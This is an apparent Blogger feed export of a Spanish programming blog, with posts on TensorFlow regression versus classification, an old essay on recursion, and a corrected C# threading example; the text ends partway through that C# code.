tag:blogger.com,1999:blog-11586345613572438312024-02-26T18:34:06.817-08:00Programación a MartillazosCódigos de ejemplo para aprender distintas tecnologías, o lo que sucede cuando a una cuarentona se la deja sola con una computadoraBroken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.comBlogger165125tag:blogger.com,1999:blog-1158634561357243831.post-60230867397259788072024-02-26T18:33:00.000-08:002024-02-26T18:33:26.795-08:00La diferencia entre un ejercicio de regresión y uno de clasificación con Tensorflow<p> Estaba revisando estos dos códigos:<br /><a href="https://github.com/Leijtenss/Coursera-Tensorflow-for-AI-and-ML/blob/master/Course%201%20-%20Part%202%20-%20Lesson%202%20-%20Notebook.ipynb" rel="nofollow" target="_blank">The Hello World of Deep Learning</a><br /><a href="https://github.com/Leijtenss/Coursera-Tensorflow-for-AI-and-ML/blob/master/Course%201%20-%20Part%204%20-%20Lesson%202%20-%20Notebook.ipynb" rel="nofollow" target="_blank">Beyond Hello World: A computer Vision Example</a></p><p><br />El tutorial no lo dice, al menos no con la claridad que yo desearía, pero el primero es un problema de regresión y el otro es un problema de clasificación.</p><p>En el caso de la regresión, Tensorflow predice un valor en función a una entrada. En el caso de un problema de clasificación, Tensorflow devuelve el índice con mayor probabilidad de corresponder a la etiqueta (o clasificación) de una entrada.<br /><br />Ambos códigos son casi idénticos, voy a copair debajo los que tengo en mi máquina y con los que he estado jugando:</p><p>Éste es el de regresión:</p><div style="background-color: white; color: black; font-family: Consolas, 'Courier New', monospace; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: blue;">import</span><span style="color: black;"> tensorflow </span><span style="color: blue;">as</span><span style="color: black;"> tf</span></div><div><span style="color: blue;">import</span><span style="color: black;"> numpy </span><span style="color: blue;">as</span><span style="color: black;"> np</span></div><div><span style="color: blue;">from</span><span style="color: black;"> tensorflow </span><span style="color: blue;">import</span><span style="color: black;"> keras</span></div><br /><div><div style="background-color: white; color: black; font-family: Consolas, 'Courier New', monospace; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: green;"># Build a simple Sequential model</span></div><div><span style="color: black;">model = tf.keras.Sequential([keras.layers.Dense(units=</span><span style="color: #098658;">1</span><span style="color: black;">, input_shape=[</span><span style="color: #098658;">1</span><span style="color: black;">])])</span></div><div><div style="background-color: white; color: black; font-family: Consolas, 'Courier New', monospace; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: green;"># Compile the model</span></div><div><span style="color: black;">model.compile(optimizer=</span><span style="color: #a31515;">'sgd'</span><span style="color: black;">, loss=</span><span style="color: #a31515;">'mean_squared_error'</span><span style="color: black;">)</span></div><div><span style="color: black;"> </span></div><div><div style="background-color: white; color: black; font-family: Consolas, 'Courier New', monospace; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: green;"># Declare model inputs and outputs for training</span></div><div><span style="color: black;">xs = np.array([-</span><span style="color: #098658;">1.0</span><span style="color: black;">, </span><span style="color: #098658;">0.0</span><span style="color: black;">, </span><span style="color: #098658;">1.0</span><span style="color: black;">, </span><span style="color: #098658;">2.0</span><span style="color: black;">, </span><span style="color: #098658;">3.0</span><span style="color: black;">, </span><span style="color: #098658;">4.0</span><span style="color: black;">], dtype=float)</span></div><div><span style="color: black;">ys = np.array([-</span><span style="color: #098658;">3.0</span><span style="color: black;">, -</span><span style="color: #098658;">1.0</span><span style="color: black;">, </span><span style="color: #098658;">1.0</span><span style="color: black;">, </span><span style="color: #098658;">3.0</span><span style="color: black;">, </span><span style="color: #098658;">5.0</span><span style="color: black;">, </span><span style="color: #098658;">7.0</span><span style="color: black;">], dtype=float)</span></div><div><span style="color: black;"> </span></div><div><div style="background-color: white; color: black; font-family: Consolas, 'Courier New', monospace; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: green;"># Train the model</span></div><div><span style="color: black;">model.fit(xs, ys, epochs=</span><span style="color: #098658;">100</span><span style="color: black;">)</span></div></div></div></div></div><div><br /></div><div><div style="background-color: white; color: black; font-family: Consolas, 'Courier New', monospace; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: green;"># Make a prediction</span></div><div><span style="color: black;">print(model.predict([</span><span style="color: #098658;">10.0</span><span style="color: black;">]))</span></div><div><span style="color: black;"> </span></div></div></div></div></div></div></div></div><p>Éste es el código del problema de clasificación:<br /></p><div style="background-color: white; color: black; font-family: Consolas, 'Courier New', monospace; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: blue;">import</span><span style="color: black;"> tensorflow </span><span style="color: blue;">as</span><span style="color: black;"> tf</span></div><div><div style="background-color: white; color: black; font-family: Consolas, 'Courier New', monospace; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: blue;">import</span><span style="color: black;"> numpy </span><span style="color: blue;">as</span><span style="color: black;"> np</span></div><div><span style="color: blue;">import</span><span style="color: black;"> matplotlib.pyplot </span><span style="color: blue;">as</span><span style="color: black;"> plt</span></div></div><span style="color: black;"> </span></div><div><span style="color: black;"> </span></div><div><div style="background-color: white; color: black; font-family: Consolas, 'Courier New', monospace; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: green;"># Load the training and test split of the Fashion MNIST dataset</span></div><div><span style="color: black;">(training_images, training_labels), (test_images, test_labels) = fmnist.load_data()</span></div><br /><div><span style="color: black;">print(len(training_images))</span></div><div><span style="color: black;">print(len(test_images))</span></div><div><span style="color: black;">print(training_labels[</span><span style="color: #098658;">0</span><span style="color: black;">:</span><span style="color: #098658;">10</span><span style="color: black;">])</span></div></div><span style="color: black;"> </span></div></div><p></p><div style="background-color: white; color: black; font-family: Consolas, 'Courier New', monospace; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: green;"># You can put between 0 to 59999 here</span></div><div><span style="color: black;">index = </span><span style="color: #098658;">562</span></div><br /><div><span style="color: green;"># Set number of characters per row when printing</span></div><div><span style="color: black;">np.set_printoptions(linewidth=</span><span style="color: #098658;">128</span><span style="color: black;">)</span></div><br /><div><span style="color: green;"># Print the label and image</span></div><div><span style="color: black;">print(</span><span style="color: blue;">f</span><span style="color: #a31515;">'LABEL: </span><span style="color: black;">{training_labels[index]}</span><span style="color: #a31515;">'</span><span style="color: black;">)</span></div><div><span style="color: black;">print(</span><span style="color: blue;">f</span><span style="color: #a31515;">'</span><span style="color: black;">\n</span><span style="color: #a31515;">IMAGE PIXEL ARRAY:</span><span style="color: black;">\n</span><span style="color: #a31515;"> </span><span style="color: black;">{training_images[index]}</span><span style="color: #a31515;">'</span><span style="color: black;">)</span></div><br /><div><span style="color: green;"># Visualize the image</span></div><div><span style="color: black;">plt.imshow(training_images[index])</span></div></div><p></p><div style="background-color: white; color: black; font-family: Consolas, 'Courier New', monospace; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: green;"># Normalize the pixel values of the train and test images</span></div><div><span style="color: black;">training_images = training_images / </span><span style="color: #098658;">255.0</span></div><div><span style="color: black;">test_images = test_images / </span><span style="color: #098658;">255.0</span></div><div><span style="color: #098658;"> </span></div><div><div style="background-color: white; color: black; font-family: Consolas, 'Courier New', monospace; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: green;"># Build the classification model</span></div><div><span style="color: black;">model = tf.keras.models.Sequential([tf.keras.layers.Flatten(), </span></div><div><span style="color: black;"> tf.keras.layers.Dense(</span><span style="color: #098658;">256</span><span style="color: black;">, activation=tf.nn.relu), </span></div><div><span style="color: black;"> tf.keras.layers.Dense(</span><span style="color: #098658;">10</span><span style="color: black;">, activation=tf.nn.softmax)])</span></div></div><span style="color: #098658;"> </span></div></div><p></p><div style="background-color: white; color: black; font-family: Consolas, 'Courier New', monospace; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: black;">model.compile(optimizer = tf.optimizers.Adam(),</span></div><div><span style="color: black;"> loss = </span><span style="color: #a31515;">'sparse_categorical_crossentropy'</span><span style="color: black;">,</span></div><div><span style="color: black;"> metrics=[</span><span style="color: #a31515;">'accuracy'</span><span style="color: black;">])</span></div><br /><div><span style="color: black;">model.fit(training_images, training_labels, epochs=</span><span style="color: #098658;">15</span><span style="color: black;">)</span></div><div><span style="color: black;"> </span></div><div><div style="background-color: white; color: black; font-family: Consolas, 'Courier New', monospace; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: green;"># Evaluate the model on unseen data</span></div><div><span style="color: black;">model.evaluate(test_images, test_labels)</span></div></div></div></div><p></p><p><br /></p><p>Aparte de las diferencias al construir la red neuronal o al predecir o evaluar un valor, o la data que se está usando, la diferencia principal, y lo que define si vamos a usar la red neuronal que estamos construyendo se usará para clasificar o predecir, es la función de pérdida o Loss Function. Durate el entrenamiento de la red, esta función mide cuánto se están acercando los valores calculador por la red a los valores verdaderos (usualmente usando el cuadrado de la diferencia entre ambos valores, pero hay funciones más complejas), esta información se usa en el siguiente bucle para ajustar los parámetros de la red y disminuir el valor de la función de pérdida. La red neuronal hace estos ajustes usando otra función, la de optimización, usualmente la del gradiente descendente. En el caso de las funciones cóncavas, cuando su gradiente se hace cero, se ha alcanzado el mínimo. Lo que hace la función de optimización es minimizar a la de pérdida usando este principio.<br /></p><p>Una lista de distintas funciones de pérdida<a href="https://neptune.ai/blog/keras-loss-functions" rel="nofollow" target="_blank"> está en este enlace</a>.</p>Broken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.com0tag:blogger.com,1999:blog-1158634561357243831.post-31803011858469866282023-12-20T18:25:00.000-08:002023-12-20T18:27:25.143-08:00Entrada antigua: Acerca de la Recursividad<p style="text-align: left;"><span style="font-family: arial; font-size: small;">Este es un artículo que escribí en mi vieja web allá por los dosmiles (¿2007?) y me ha traído nostalgia: es de cuando batallaba intentando entender la recursividad.</span></p><p style="text-align: left;"><span style="font-family: arial; font-size: small;">Se me hace curioso leerme después de tantos años, He recordado cuando, debugueando, intentaba infructuosamente entender línea por línea cómo iba eso de la recursividad, y de cómo sabía el procesador, la máquina virtual o el runtime, cómo volver a llamar a la función para llegar a la respuesta correcta.</span></p><p style="text-align: left;"><span style="font-family: arial; font-size: small;">He terminado sonriendo, pues éste fue el inicio de lo que luego sería esto: <a href="http://programacionamartillazos.blogspot.com/2023/06/cuadrados-recursivos-con-la-tortuga-de.html" rel="nofollow" target="_blank">http://programacionamartillazos.blogspot.com/2023/06/cuadrados-recursivos-con-la-tortuga-de.html</a></span></p><p style="text-align: left;"><span style="font-family: arial; font-size: small;">o ésto: <a href="https://programacionamartillazos.blogspot.com/2016/01/listar-los-archivo-en-una-carpeta-y-sus.html" rel="nofollow" target="_blank">https://programacionamartillazos.blogspot.com/2016/01/listar-los-archivo-en-una-carpeta-y-sus.html </a><br /></span></p><p style="text-align: left;"><span style="font-family: arial; font-size: small;">Aquí el artículo, Enjoy!</span></p><p style="text-align: left;"><span style="font-family: arial; font-size: small;"> </span></p><p align="center" style="-webkit-text-stroke-width: 0px; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;"><span style="font-family: arial; font-size: small;">"Para entender la recursividad, primero hay que entender la recursividad"<br /></span></p><p align="center" style="-webkit-text-stroke-width: 0px; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;"><span style="font-family: arial; font-size: small;"><span> </span></span></p><p style="-webkit-text-stroke-width: 0px; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;"><span style="font-family: arial; font-size: small;">En mis ratos libres me gusta leer blogs sobre programación. Así me topé con<span> </span><a href="http://www.variablenotfound.com/2007/02/dnde-se-han-ido-los-programadores.html" target="_blank">http://www.variablenotfound.com/2007/02/dnde-se-han-ido-los-programadores.html</a><span> </span>y con<span> </span><a href="http://www.codinghorror.com/blog/archives/000781.html" target="_blank">http://www.codinghorror.com/blog/archives/000781.html</a><span> </span>donde dice "If you can successfully write a loop that goes from 1 to 10 in every language on your resume, can do simple arithmetic without a calculator, and can use recursion to solve a real problem, you’re already ahead of the pack!".<br /><br />Entonces me faltaba la recursión o recursividad. Ya había leído sobre ella antes, incluso bajado tutoriales, pero mi error fue intentar entenderla.<br />Como es una función que se llama a sí misma, no hay por dónde "cogerla", lógicamente es algo autocontenido y que debería generar un bucle infinito:</span></p><p style="text-align: left;"><span style="font-family: arial; font-size: small;"></span></p><div class="separator" style="clear: both; text-align: center;"><p><span style="font-family: arial; font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikusIa33B_hLmXmETNRMnTuwloAjO252nY_cqEJ2IH3-M_4p6Ah8U2jhYHROYgXOB5PiNM0L1IO1rA4GLdESelJhwSnb4S069zTDT0KTBHUxS9TU12Nz4gw3_YHCnAq9Ey7Ju3-ZAG3AAEARbPnbzb4onDz9A6wx11P3poyVEIY_oupFmSludhC8DtDpg/s573/IMAG0025.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="282" data-original-width="573" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikusIa33B_hLmXmETNRMnTuwloAjO252nY_cqEJ2IH3-M_4p6Ah8U2jhYHROYgXOB5PiNM0L1IO1rA4GLdESelJhwSnb4S069zTDT0KTBHUxS9TU12Nz4gw3_YHCnAq9Ey7Ju3-ZAG3AAEARbPnbzb4onDz9A6wx11P3poyVEIY_oupFmSludhC8DtDpg/s16000/IMAG0025.jpg" /></a></span></p></div><p style="text-align: left;"></p><p style="-webkit-text-stroke-width: 0px; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;"><span style="font-family: arial; font-size: small;">El límite, o parada, sucede cuando "i" llega a 10. Si "i" es igual o mayor a 10 (partiendo de un valor inferior), simplemente sale de la función y retorna el resultado de la suma total.<span> </span><b>No se debe perder tiempo intentando entender la recursión</b><span> </span>basta saberla usar. Si se intenta entender o hallar la secuencia lógica de la función de arriba no se llegará a ninguna parte. La variable "i" recibe la respuesta de una función donde está la propia variable "i" (y lo peor: en este caso la operación que debe realizar la función sumaR está donde recibe los parámetros).</span></p><p style="-webkit-text-stroke-width: 0px; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;"><span style="font-family: arial; font-size: small;">¿hay alguna manera de escapar de este bucle infernal?<br />Sí, en el momento en que "i" llega al valor donde se debe retornar cero (ya no se llama a la función sumaR).<br /><br />Recién llegué a comprender la recursión cuando dejé de intentar comprenderla. Suena raro, pero así fue.</span></p>Broken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.com0tag:blogger.com,1999:blog-1158634561357243831.post-77416025549023209422023-11-09T18:24:00.005-08:002023-11-09T18:27:08.525-08:00Hilos con C#, corregido<p><a href="http://programacionamartillazos.blogspot.com/2023/09/hilos-con-c-c-sharp.html" rel="nofollow" target="_blank">Continuando con mi entrada anterior</a>, el detalle que hay que corregir es el siguiente: no se puede modificar la interfaz gráfica desde otro hilo. Las interfaces gráficas de .Net y Java no son thread-safe, incluso estos frameworks arrojarán una excepción si detectan que se está intentando modificar la interfaz gráfica desde otro hilo que no haya sido el que la creó.<br /><br />Como ejemplo, voy a añadir un par de líneas al final de las funciones Hilo1() e Hilo2() <a href="https://drive.google.com/file/d/1sQzvVl6cj99YbInW5VVDorhVzZr2F11M/view?usp=sharing" rel="nofollow" target="_blank">en el código que dejé como ejemplo</a>:<br /></p><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEhVQEH6uRHVUpSbqNeUS9rx3P0ku_Sgv_VRg6lyudkoZFVBqXk1uKtvtRjQeIMeloW0hZMW0faMQIJkoJF6uVEULoGeqNtBdy4sTJ5cQxkG8cYwku4fL9g7LKSbAvqNAs5i2vl_OHprmLjCXBQmSfDFLqCVmeCALfVr7-VUZzLppBmmLHbaw22vif-uzhA" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="418" data-original-width="494" src="https://blogger.googleusercontent.com/img/a/AVvXsEhVQEH6uRHVUpSbqNeUS9rx3P0ku_Sgv_VRg6lyudkoZFVBqXk1uKtvtRjQeIMeloW0hZMW0faMQIJkoJF6uVEULoGeqNtBdy4sTJ5cQxkG8cYwku4fL9g7LKSbAvqNAs5i2vl_OHprmLjCXBQmSfDFLqCVmeCALfVr7-VUZzLppBmmLHbaw22vif-uzhA=s16000" /></a></div><br /><br /></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEhlch5cHfQDVLwqfjrpS_mv_LTBzaF8H1jTRp425JKRoxwm8n3EtOZo2oBqczGWtWEQ9IG0C2pMN11xWHgJ_0Nx83f58wY7-YTeNioivFeGdO1JTjvbY0GmK1SjnvaRzaTPHTRzD4EV0UxHP9EKjvdu-Ujwtu-2lmWaojGrCQUCJAtOthcrkA_VBNO-hQA" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="430" data-original-width="476" src="https://blogger.googleusercontent.com/img/a/AVvXsEhlch5cHfQDVLwqfjrpS_mv_LTBzaF8H1jTRp425JKRoxwm8n3EtOZo2oBqczGWtWEQ9IG0C2pMN11xWHgJ_0Nx83f58wY7-YTeNioivFeGdO1JTjvbY0GmK1SjnvaRzaTPHTRzD4EV0UxHP9EKjvdu-Ujwtu-2lmWaojGrCQUCJAtOthcrkA_VBNO-hQA=s16000" /></a></div><br />En muchas aplicaciones que modifican la interfaz gráfica es necesario llamar a las funciones Refresh() de los controles. Después de este cambio, la aplicación arroja esta excepción:<p></p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjWbKE9358uAw8zfjcvKjkfo-bZ3PVBSU8vQd2sSF1tCk-t8GGvECmX3yToOLY_Q1iIuVXrnFggMYud0s69ra3Zr9rNso28d5SMmzy5jcycx7gpQ9v_O4RZPrDIzZn3KCcqbWrpnuNHuJnybJNgfk_J5IIQKgfKFQTa4XjHj1tr-DtdM2H2pbDhzW0qkic" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="222" data-original-width="630" src="https://blogger.googleusercontent.com/img/a/AVvXsEjWbKE9358uAw8zfjcvKjkfo-bZ3PVBSU8vQd2sSF1tCk-t8GGvECmX3yToOLY_Q1iIuVXrnFggMYud0s69ra3Zr9rNso28d5SMmzy5jcycx7gpQ9v_O4RZPrDIzZn3KCcqbWrpnuNHuJnybJNgfk_J5IIQKgfKFQTa4XjHj1tr-DtdM2H2pbDhzW0qkic=s16000" /></a></div><br /><br />La manera correcta, en C#, de modificar la interfaz gráfica desde otro hilo es usando las funciones Invoke() o BeginInvoke() de la plataforma .Net. <br /><br />Por otro lado, es una mala práctica llamar a la función Abort() de un hilo. Si se desea que un hilo finalice junto a la aplicación que lo creó se debe declarar como hilo de background, eso se hace en una línea de código:<p></p><p><span style="font-family: courier;">p2.IsBackground = <span style="color: #2b00fe;">true</span>;</span></p><p>El código corregido es:</p><div align="center"><center><table bgcolor="#000000" border="2" cellpadding="2" style="width: 615.469px;"><tbody><tr><td bgcolor="#FFFFFF" width="100%"><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"><span style="color: #2b00fe;">using </span>System;</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"><span style="color: #2b00fe;">using </span>System.Drawing;</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"><span style="color: #2b00fe;">using </span>System.Text;</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"><span style="color: #2b00fe;">using </span>System.Windows.Forms;</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"><span style="color: #2b00fe;">using </span>System.Threading; </span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"><br /></span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"><span style="color: #2b00fe;">namespace </span>WindowsApplication1</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;">{</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> <span style="color: #2b00fe;">public partial class </span>Form1 : Form</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> {</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> <span style="color: #258e83;">Thread </span>p1;</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> </span><span style="color: #258e83; font-family: courier;">Thread </span><span style="font-family: courier;">p2;</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> byte r, g;</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> bool b1, b2;</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> </span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> <span style="color: #2b00fe;">public </span>Form1()</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> {</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> InitializeComponent();</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> }</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"><br /></span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> <span style="color: #2b00fe;">private void </span>Form1_Load(object sender, EventArgs e)</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> {</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> r = 0; g = 255; b1 = false; b2 = true; </span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"><br /></span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> p1 = <span style="color: #2b00fe;">new </span></span><span style="color: #258e83; font-family: courier;">Thread</span><span style="font-family: courier;">(<span style="color: #2b00fe;">new </span>ThreadStart(Hilo1));</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> p2 = <span style="color: #2b00fe;">new </span></span><span style="color: #258e83; font-family: courier;">Thread</span><span style="font-family: courier;">(<span style="color: #2b00fe;">new </span>ThreadStart(Hilo2));</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"><br /></span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> p1.IsBackground = <span style="color: #2b00fe;">true</span>;</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> p2.IsBackground = <span style="color: #2b00fe;">true</span>;</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"><br /></span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> p1.Start();</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> p2.Start(); </span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> }</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> </span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> <span style="color: #2b00fe;">public void </span>Hilo1() {</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> while (<span style="color: #2b00fe;">true</span>)</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> {</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"><br /></span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> </span><span style="color: #258e83; font-family: courier;">Thread</span><span style="font-family: courier;">.Sleep(10);</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"><br /></span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> <span style="color: #2b00fe;">if </span>(r >= 0 && r <= 255 && b1 == false)</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> {</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> r++;</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> if (r == 255)</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> b1 = true;</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> }</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"><br /></span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> <span style="color: #2b00fe;">if</span> (r >= 0 && r <= 255 && b1 == true)</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> {</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> r--;</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> if (r == 0)</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> b1 = false;</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> }</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"><br /></span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> <span style="color: #2b00fe;">if</span> (this.InvokeRequired)</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> {</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> this.BeginInvoke((Action)(() =></span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> {</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> pictureBox1.BackColor = Color.FromArgb(r, 80, 100);</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> pictureBox1.Refresh();</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> }));</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> }</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> }</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> }</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"><br /></span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> <span style="color: #2b00fe;">public void </span>Hilo2() {</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> while (<span style="color: #2b00fe;">true</span>)</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> {</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> </span><span style="color: #258e83; font-family: courier;">Thread</span><span style="font-family: courier;">.Sleep(10);</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"><br /></span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> <span style="color: #2b00fe;">if</span> (g >= 0 && g <= 255 && b2 == false)</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> {</span></p><p class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"><span style="font-family: courier;"> g++;</span></p><p class="MsoNormal" 